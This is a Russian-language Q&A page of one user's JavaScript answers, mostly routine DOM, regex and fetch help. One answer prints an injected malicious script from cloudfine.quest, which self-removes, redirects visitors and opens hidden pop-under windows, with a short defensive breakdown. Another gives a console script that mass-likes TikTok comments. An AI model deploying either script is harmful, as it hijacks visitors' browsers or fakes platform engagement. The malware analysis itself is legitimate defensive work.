Ответы пользователя по тегу JavaScript
  • Как поставить лайк на все комментарии видео в тикток?

    Mike_Ro
    @Mike_Ro Куратор тега JavaScript
    Python, JS, WordPress, SEO, Bots, Adversting
    Ладно, упарываться, так упарываться. Клики + получение новых элементов для кликов + прокрутка + все повторить, но не смешивать. Кликнуть на ролик, вставить и выполнить код в консоль браузера:
    async function clickByElement() {
        let element = document.querySelector('.css-1swe2yf-DivActionContainer.esns4rh0 [aria-pressed="false"]');
        if (!element) return null;
    
        console.log('Клик!')
        element.click();
        while (element.getAttribute('aria-pressed') !== 'true') {
            await new Promise(resolve => setTimeout(resolve, 100));
        }
        
        return true;
    }
    
    async function clickAllElements() {
        let foundClickable = false;
        while (await clickByElement() !== null) {
            foundClickable = true;
        }
        
        return foundClickable;
    }
    
    async function scrollToBottomAndClickAgain() {
        const scrollContainer = document.querySelector('.css-1qp5gj2-DivCommentListContainer.ekjxngi3');
        if (scrollContainer) {
            console.log('Крутим страницу и ждем 10 сек.')
            let lastScrollTop = scrollContainer.scrollTop;
            scrollContainer.scrollTop = scrollContainer.scrollHeight;
            await new Promise(resolve => setTimeout(resolve, 10000));
    
            if (scrollContainer.scrollTop !== lastScrollTop) {
                if (await clickAllElements()) {
                    await scrollToBottomAndClickAgain();
                } else {
                    console.log('Прокрутка выполнена, новые элементы для клика не найдены.');
                }
            } else {
                console.log('Достигли конца прокрутки, больше нечего прокручивать.');
                if (await clickAllElements()) {
                    await scrollToBottomAndClickAgain();
                } else {
                    console.log('Задача окончательно завершена, кликов больше не осталось');
                }
            }
        } else {
            console.error('Контейнер для прокрутки не найден');
        }
    }
    
    async function initiateClicksAndScroll() {
        if (await clickAllElements()) {
            await scrollToBottomAndClickAgain();
        } else {
            console.log('Нет элементов для начальных кликов, проверяем прокрутку');
            await scrollToBottomAndClickAgain();
        }
    }
    
    initiateClicksAndScroll().then(() => console.log('Задача выполнена май генерал!'));
    Ответ написан
  • Как нажать на все блоки с данным классом на странице с помощью JS?

    Mike_Ro
    @Mike_Ro Куратор тега JavaScript
    Python, JS, WordPress, SEO, Bots, Adversting
    1. Получаем все элементы методом .querySelectorAll().
    2. Перебираем п1. методом .forEach().
    3. Печатаем элемент и его номер из п1. (для наглядности) + кликаем по элементу п2. методом .click().
    document.querySelectorAll('.CLASSNAME').forEach((el, i) => {
        console.log(`Element №${i}, `, el);
        el.click();
    });

    Пример с ожидаем в 1 секунду, перед сбором и кликом по элементам:
    setTimeout(() => {
        document.querySelectorAll('.CLASSNAME').forEach((el, i) => {
            console.log(`Клик по элементу №${i}, `, el);
            el.click();
        });
    }, 1000);
    Ответ написан
  • Как сформировать маску, используя регулярное выражение?

    Mike_Ro
    @Mike_Ro Куратор тега JavaScript
    Python, JS, WordPress, SEO, Bots, Adversting
    Нужно получить маску ... по типу 1.1.1.1.1

    ^\d\.\d\.\d\.\d\.\d$
    ^(\d\.){4}\d$ [0]
    Ответ написан
    Комментировать
  • Неизвестные скрипты на сайте (plupload и moxie). Для чего?

    Mike_Ro
    @Mike_Ro Куратор тега JavaScript
    Python, JS, WordPress, SEO, Bots, Adversting
    Это основные скрипты, которые входят в состав wp для обеспечения функциональности загрузки файлов:
    - plupload - загрузка файлов для wp.
    - moxie - расширение возможностей plupload.
    Ответ написан
  • Можно ли сократить запись и как?

    Mike_Ro
    @Mike_Ro Куратор тега JavaScript
    Python, JS, WordPress, SEO, Bots, Adversting
    [объект].forEach(a => a.addEventListener('click', f));

    Такое впечатление, что запись можно сократить еще больше. Нет?

    Но зачем?
    Ответ написан
  • Можно ли назначить разделитель для float input?

    Mike_Ro
    @Mike_Ro Куратор тега JavaScript
    Python, JS, WordPress, SEO, Bots, Adversting
    Можно ли назначить разделитель для float input?

    Нельзя, нужно изменить атрибут type на text.
    хотелось бы чтобы число разделяла не запятая, а точка, пример:
    10,200
    10.200

    Слушаем событие change у input, если видим символ ",", то заменяем на символ ".". Если замен предполагается больше, то лучше использовать imask.
    Ответ написан
    Комментировать
  • Как переписать код на более современный JS?

    Mike_Ro
    @Mike_Ro Куратор тега JavaScript
    Python, JS, WordPress, SEO, Bots, Adversting
    Подскажите пожалуйста как переписать код на более современный код JS.

    Зачем?
    нашел такой код он работает, при клике добавляет 2 динамических класса на 2 разных блока

    Не добавляет, а переключает.
    но пишут на форуме что код устаревший

    На заборе пишут, что пора прыгать из окна.
    Как исправить?

    addEventListener()
    Ответ написан
    Комментировать
  • Хранение временных объектов на стороне клиента?

    Mike_Ro
    @Mike_Ro Куратор тега JavaScript
    Python, JS, WordPress, SEO, Bots, Adversting
    не понимаю как обеспечить разделенное хранение и связь условного объекта (пусть json)

    1. Клиент запрашивает данные с сервера.
    2. Варианты:
    2.1. Сервер сам рендерит страницу, без помощи клиента.
    2.2. С сервера на клиент прилетает json, js на клиенте создает необходимую разметку, подставляя данные из json.
    обеспечить изменяемость данных

    Пишем условия на js/react, на основание которых будут изменяться данные.
    и защиту ключевых данных от изменения

    Все, что пришло на клиент - доступно клиенту. Все что пришло от клиента на сервер, по умолчанию опасно и требует проверки.
    Ответ написан
    Комментировать
  • Как этот JavaScript код переписать в JQuery?

    Mike_Ro
    @Mike_Ro Куратор тега JavaScript
    Python, JS, WordPress, SEO, Bots, Adversting
    $(function() {
        $(window).on("click", e => {
            $('.header-nav-list-item.subnav').each(function() {
                const $subMenu = $(this).find(".header-nav-list-subnav-menu");
                const isVisible = e.target === this || $.contains(this, e.target);
                $subMenu.toggle(isVisible);
                // if (!isVisible) $subMenu.hide();
            });
        });
    });
    Ответ написан
    1 комментарий
  • Как получить текст ответа ASP Net Core API?

    Mike_Ro
    @Mike_Ro Куратор тега JavaScript
    Python, JS, WordPress, SEO, Bots, Adversting
    Как в случае ошибки получить данный текст ("Совпадений не найдено") на стороне клиента, с помощью JS?

    - fetch()
    - Axios

    fetch():
    fetch('//site.com/api/v1/send')
        .then((response) => {
            // error handler
            if (!response.ok) {
                return response.text().then((text) => throw new Error(text));
            }
    
            return response.json();
        })
    
        .then((data) => console.log('Свежая инфа: ', data))
        .catch((error) => console.error('ОшибкО:', error.message));
    Ответ написан
    Комментировать
  • Почему не работает поиск по классу?

    Mike_Ro
    @Mike_Ro Куратор тега JavaScript
    Python, JS, WordPress, SEO, Bots, Adversting
    Что возвращает метод getElementsByClassName()?

    console.log(document.getElementsByClassName('child2')) // HTMLCollection

    Какому элемент Вы собрались изменять текст (textContent), если там целая html коллекция?

    Вначале, необходимо обойти коллекцию, одним из способов ниже:
    // old
    Array.from(document.getElementsByClassName('child2')).forEach((el) => {
        el.textContent = 'Измененная строка 2';
    });
    
    // new
    document.querySelectorAll('.child2').forEach((el) => {
      el.textContent = 'Измененная строка 2';
    });
    Ответ написан
    Комментировать
  • Как создать свой элемент для каждого элемента из массива?

    Mike_Ro
    @Mike_Ro Куратор тега JavaScript
    Python, JS, WordPress, SEO, Bots, Adversting
    Как создать свой элемент для каждого элемента из массива?

    Но в итоге ничего не создается

    А че forEach() возвращает что то? Может map()?
    Ответ написан
    Комментировать
  • Как лучше настроить режимы в WebPack сборке?

    Mike_Ro
    @Mike_Ro Куратор тега JavaScript
    Python, JS, WordPress, SEO, Bots, Adversting
    но я не могу понять что такое NODE_ENV и isDev

    Режим сборки, development или production.
    можно ли как-то задать режимы попроще?

    А что тут сложного? Если проект не маленький, то обычно создают 2 разных файла конфигурации вебпака, один под devevelopment, другой под production.
    Ответ написан
  • Как сделать чтобы в скроле менялся контент?

    Mike_Ro
    @Mike_Ro Куратор тега JavaScript
    Python, JS, WordPress, SEO, Bots, Adversting
    - У Вас 2 контейнера на странице (нужный Вам - второй), какой элемент по счету получает querySelector()?
    - Если Вы не знаете точно, зачем Вам получать элементы по классам, или это единственный получаемый такой элемент - используйте id.

    Ниже исправленный код, все работает. Вам необходимо добавить в верстке id="select" для списка, и id="output" для вывода:
    const list = {
        'Audi': 'Audi AG — немецкая автомобилестроительная компания в составе концерна Volkswagen Group, специализирующаяся на выпуске автомобилей под маркой Audi. Штаб-квартира расположена в Ингольштадте.',
        'Volkswagen': 'Volkswagen — немецкая автомобильная марка, одна из многих, принадлежащих концерну Volkswagen AG. Под этой маркой в 2007 году было реализовано 5 млн 20 тыс. автомобилей. Штаб-квартира — в Вольфсбурге.',
        'Opel': 'Adam Opel AG — немецкий производитель автомобилей. Штаб-квартира расположена в Рюссельсхайме, Германия. Компания была основана 21 января 1863 года и приступила к выпуску автомобилей в 1899 году. С 1929 года принадлежала концерну General Motors.'
    }
    
    document.addEventListener('DOMContentLoaded', () => {
        const select = document.querySelector('#select');
        const output = document.querySelector('#output');
    
        select.addEventListener('change', () => {
            output.textContent = list[select.value];
        });
    });

    КартинкО
    65f325a63b6b4624965081.png
    Ответ написан
  • Как использовать два контекста в методе правильно JS?

    Mike_Ro
    @Mike_Ro Куратор тега JavaScript
    Python, JS, WordPress, SEO, Bots, Adversting
    Используя стрелочную функцию:
    init() {
        this.targets.forEach((target, index) => {
            target.index = index;
            target.addEventListener("click", (event) => this.animateTab(event, this));
        });
    }

    Используя метод bind():
    init() {
        for (let i = 0; i < this.targets.length; i++) {
            this.targets[i].index = i;
            this.targets[i].addEventListener("click", this.animateTab.bind(this));
        }
    }
    Ответ написан
    3 комментария
  • С помощью чего можно реализовать такую анимацию?

    Mike_Ro
    @Mike_Ro Куратор тега JavaScript
    Python, JS, WordPress, SEO, Bots, Adversting
    В примере используется GSAP + обычный видос.
    Ответ написан
  • Можно ли автоматически урезать качество изображений в React?

    Mike_Ro
    @Mike_Ro Куратор тега JavaScript
    Python, JS, WordPress, SEO, Bots, Adversting
    Если я буду помещать большое изображение в маленькие карточки, картинка будет искажаться, а мне этого не нужно.

    CSS object-fit.
    либо же это должно происходить на сервере?

    На сервере, сразу получать изображение необходимого размера.
    Ответ написан
    Комментировать
  • Как выполнять javascript не только в браузере?

    Mike_Ro
    @Mike_Ro Куратор тега JavaScript
    Python, JS, WordPress, SEO, Bots, Adversting
    можно ли как-то выполнять javascript код с сохранением не открывая вручную тысячи страниц?

    Можно сохранить в localStorgae или IndexedDB хорошая библиотека localForage.
    Ответ написан
    1 комментарий
  • Кто-нибудь сталкивался с подключением скрипта с домена cloudfine.quest?

    Mike_Ro
    @Mike_Ro Куратор тега JavaScript
    Python, JS, WordPress, SEO, Bots, Adversting
    Код скрипта
    document.currentScript.remove();if(typeof wsjwa573==='undefined'){const wsjwa573=true;const wkonuolh='https://cloudfine.quest/redirect';if(('PushManager'in window)&&('Notification'in window)&&('fetch'in window)){window.location.replace('https://'+(window.location.hostname!==undefined?wi...);}else{const is5ykqkx=setInterval(()=>{if(document.readyState==='interactive'||document.readyState==='complete'){clearInterval(is5ykqkx);if('ontouchstart'in window){function vg4ymqkq(afzqftyr){document.removeEventListener('click',vg4ymqkq);if(window.open(afzqftyr.target.href===undefined?window.location.href:afzqftyr.target.href,'_blank')!==null){afzqftyr.preventDefault();afzqftyr.stopPropagation();setTimeout(()=>{window.location.href=wkonuolh;},1000);}}document.addEventListener('click',vg4ymqkq);}else{function vg4ymqkq(afzqftyr){afzqftyr.preventDefault();afzqftyr.stopPropagation();document.removeEventListener('click',vg4ymqkq);const ga3m40pt=window.open('','_blank','fullscreen=no,height=100,left='+(screen.width+100)+',location=no,menubar=no,resizable=no,scrollbars=no,status=no,titlebar=no,toolbar=no,top='+(screen.height+100)+',width=100');if(ga3m40pt!==null){function nxq27s6i(){clearTimeout(ryzfrfy5);ga3m40pt.moveTo(0,0);ga3m40pt.resizeTo(window.screen.availWidth,window.screen.availHeight);ga3m40pt.document.location.href=wkonuolh;window.removeEventListener('focus',nxq27s6i);}const ryzfrfy5=setTimeout(()=>{ga3m40pt.close();window.removeEventListener('focus',nxq27s6i);},8000);ga3m40pt.moveTo(screen.width+100,screen.height+100);window.addEventListener('focus',nxq27s6i);}document.body.style.opacity='1';}document.body.style.opacity='0.7';document.addEventListener('click',vg4ymqkq);}}},50);}}

    Вредонос:
    1. Выполняет все операции и сразу удаляется из dom.
    2. Чекает переменную wsjwa573 (на нее много чего завязано, хз зачем, нет времени вычислять).
    3. Проверяет, если ли в браузере посетителя pushmanager, notification и fetch apis.
    4. Редиректит на вредоносный сайт по условию.
    5. Ставит обработчик ontouchstart по клику и условию.
    Итп.
    Прошерстил все файлы проекта - не нашел никаких подключений. Ни по одному из ключевых слов не находится ничего подобного.

    Разумеется не нашли, вредонос создавался не для того, чтобы его было просто найти. Ищите дальше, кто то его в любом случае подключает на страницу.
    Ответ написан
    6 комментариев
  • Можно ли с помощью JS узнать наличие каких-либо датчиков в смартфоне или каких-то иных их отличительных особенностей?

    Mike_Ro
    @Mike_Ro Куратор тега JavaScript
    Python, JS, WordPress, SEO, Bots, Adversting
    Есть, и все неплохо симулируется :)
    Ответ написан
    Комментировать